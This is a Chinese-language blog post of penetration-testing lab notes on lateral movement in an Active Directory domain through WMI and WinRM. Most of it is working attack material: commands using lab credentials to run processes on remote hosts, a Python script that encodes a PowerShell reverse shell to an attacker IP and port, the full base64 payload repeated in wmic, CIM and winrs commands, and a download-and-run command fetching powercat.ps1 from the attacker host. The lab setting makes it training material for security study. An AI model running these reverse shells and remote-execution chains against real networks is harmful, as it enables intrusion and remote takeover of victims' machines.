Active Directory 中的橫向移動 - WMI and WinRM

 Active Directory 中的橫向移動

WMI and WinRM


環境說明與定義

1. Client74、Client75、Client76

2. File04(73)、Web04(72)

3. DC(70)


WMI 透過 TCP 135 上呼叫 PRC 來進行遠端訪問,並使用 19152~65536 隨機 Port 來建立 Session

使用前面章節提供的帳號密碼 jeff / HenchmanPutridBonbon11 先登入到 Client74

└─$ xfreerdp /u:jeff /p:HenchmanPutridBonbon11 /d:corp.com /v:192.168.223.74

網域帳號 CORP\jeff 是 Client74 的 Administrators 群組成員


接著我們要要對 file04(73) 進行橫向移動,讓我們透過 crackmapexec 先測試看看,發現現有使用者 jeff 沒有管理員權限,但我們已知另一組帳號密碼 jen / Nexus123!,測試後發現有權限




所以直接使用 wmin 指令帶 jen 的權限去連線測試

指令 wmic /node:192.168.223.73 /user:jen /password:Nexus123! process call create "calc"

windows powershell 密碼 password 中有 ! ,發現不用帶單引號 ' 也可以直接辨識

下圖中 WMI 傳回新建立的進程 Process PID 以及回傳值 0 表示進程 Process 建立成功



將此攻擊轉換為 PowerShell 語法需要一些額外的細節。我們需要建立一個 PSCredential 物件來儲存我們的會話使用者名稱和密碼。為此,我們首先將使用者名稱和密碼儲存在各自的變數中,然後透過ConvertTo-SecureString cmdlet 來保護密碼。最後,我們將使用給定的使用者名稱和secureString物件建立一個新的 PSCredential 物件。


$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;


接下來,我們希望透過 New-CimSession  cmdlet 建立通用資訊模型 (CIM) 。 我們首先使用第一行的 New-CimSessionOption cmdlet 指定 DCOM 作為 WMI 會話的協定。

在第二行,我們將針對目標 IP 建立新會話,並提供 PSCredential 物件以及會話選項。最後,我們將「calc」定義為 WMI 執行的有效負載。

 

$options = New-CimSessionOption -Protocol DCOM;
$session = New-Cimsession -ComputerName 192.168.223.73 -Credential $credential -SessionOption $options;
$command = 'calc';


最後需要透過發出 Invoke-CimMethod cmdlet 並分別提供 Win32_Process 和 Create 作為 ClassName 和 MethodName 將先前配置的所有參數結合在一起


Invoke-CimMethod -CimSession $session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$command};


執行後如下圖,Process ID 是 2108



登入到 73 開啟 Task Manager 可以看到如下




一般在滲透測試中,拿到 remote shell 是我們希望成功的一件事,已經知道上述的 WMI 可以成功遠端呼叫與成功建立 session,接下來重新編寫 powershell,透過同樣的手法直接建立 reverse shell,首先進行 reverse shell 的編碼,以下 python 程式碼將 powershell reverse shell 編碼為 payload 並轉 base64,這時候不要建立 shell 到下指令的 Client74,讓我們直接建立 reverse shell 連回 kali 的 4444 Port


kali IP : 192.168.45.201

import sys
import base64

payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.201",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()

print(cmd)



將該 python 腳本存在 kali 上然後執行 base64 轉碼後的輸出

======================================================================

powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

======================================================================




補充說明,可以線上 base64 decode 看看那個 python encode 的內容



實際被 encode 的內容如下,就是上述的 payload 內容
=======================================================================
$client = New-Object System.Net.Sockets.TCPClient("192.168.45.201",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
=======================================================================


重複一開始在 Client74 上的 WMI 利用,此時改塞入上述的 base64 reverse shell 編碼,執行一連串指令如下


$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$options = New-CimSessionOption -Protocol DCOM;
$session = New-Cimsession -ComputerName 192.168.223.73 -Credential $credential -SessionOption $options;
$command = 'powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};



執行完畢後左邊的 kali 上 4444 Port 連線就進來了




whoami and ipconfig 看一下確認是 file04(73) 連進來的 reverse shell




上述闡述了 WMI 的攻擊手法,接著說明 WinRM 的攻擊手法方式

WinRM 是 WS-Management 協定的 Microsoft 版本,改透過 HTTP or HTTPs 交換 XML 訊息

預設透過 5985 HTTP or 5986 HTTPs 實現連接

讓我們先使用 winrs 來實現,帶入有權限的使用者帳號密碼與要執行的指令

如下在一行指令中帶入權限與指令 whoami & hostname & ipconfig 並輸出

WinRS 使用的權限需要目標主機上的管理員群組或遠端管理使用者群組成員

指令 winrs -r:files04 -u:jen -p:Nexus123!  "cmd /c hostname & whoami & ipconfig"




由上面可以知道使用 winrs 可以在一行送出驗證與包含指令,所以可以將上述的 cmd 內容直接改成剛剛 powershell 做的 reverse shell base64 就可以直接一行連進來了,如下

winrs -r:files04 -u:jen -p:Nexus123!  "powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

執行後,左邊的 kali nc 4444 連線就進來了




上面有 decode 了 base64 的 payload 內容,既然 cmd 直接放在 command 裡面是成功的,那 payload 也直接放在 command 裡面是否會成功連線 nc 呢,測試指令如下

winrs -r:files04 -u:jen -p:Nexus123!  "powershell -nop -w hidden -e '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.201",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'"

答案是不 work 的,因為這一段裡面就有寫明了是 encode 的




轉換另一個思維,之前在拿 reverse shell 時透過 powershell 的應用如下

IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.45.201/powercat.ps1");powercat -c 192.168.45.201 -p 4444 -e powershell 

讓我們放好 powercat.ps1 然後將指令改如下測試看看

winrs -r:files04 -u:jen -p:Nexus123!  "powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.201/powercat.ps1');powercat -c 192.168.45.201 -p 4444 -e powershell"

可以看到是 work 的,表示轉 base64 不是一定要的



看一下 HTTP 80 也確定有來下載 powercat.ps1 檔案





前面我們用的是 DCOM 協定,New-CimSessionOption -Protocol DCOM

現在我們改用 New-PSSession 來建立一個遠端的 Session,powershell 指令改如下

==================================================================

$username = 'jen';

$password = 'Nexus123!';

$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;

$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;

New-PSSession -ComputerName 192.168.223.73 -Credential $credential

==================================================================

可以看到透過 WinRM 建立的一個 Session,ID 是 1




接著讓我直接呼叫 Session ID=1,指令 Enter-PSSession 1

就直接進入到 file04(73) 的 remote shell 了





練習 1 : 使用哪個 PowerShell cmdlet 建立 WMI 會話?

Ans : New-Cimsession



練習 2 : 以 jeff 身份登入 Client74,橫向移動到 web04 以獲得位於管理員桌面上的 flag

RDP 到 Client74 ,透過檔案總管去開啟 cmd 呼叫 powershell



測試了一下上述的 jen / Nexus123! 對 web04(72) 有管理者權限

crackmapexec smb 192.168.223.72 -u jen -p 'Nexus123!' -d corp.com



利用 New-Cimsession 直接執行如下指令

$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$options = New-CimSessionOption -Protocol DCOM;
$session = New-Cimsession -ComputerName 192.168.223.72 -Credential $credential -SessionOption $options;
$command = 'powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};



reverse shell 進來了,直接拿答案吧




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)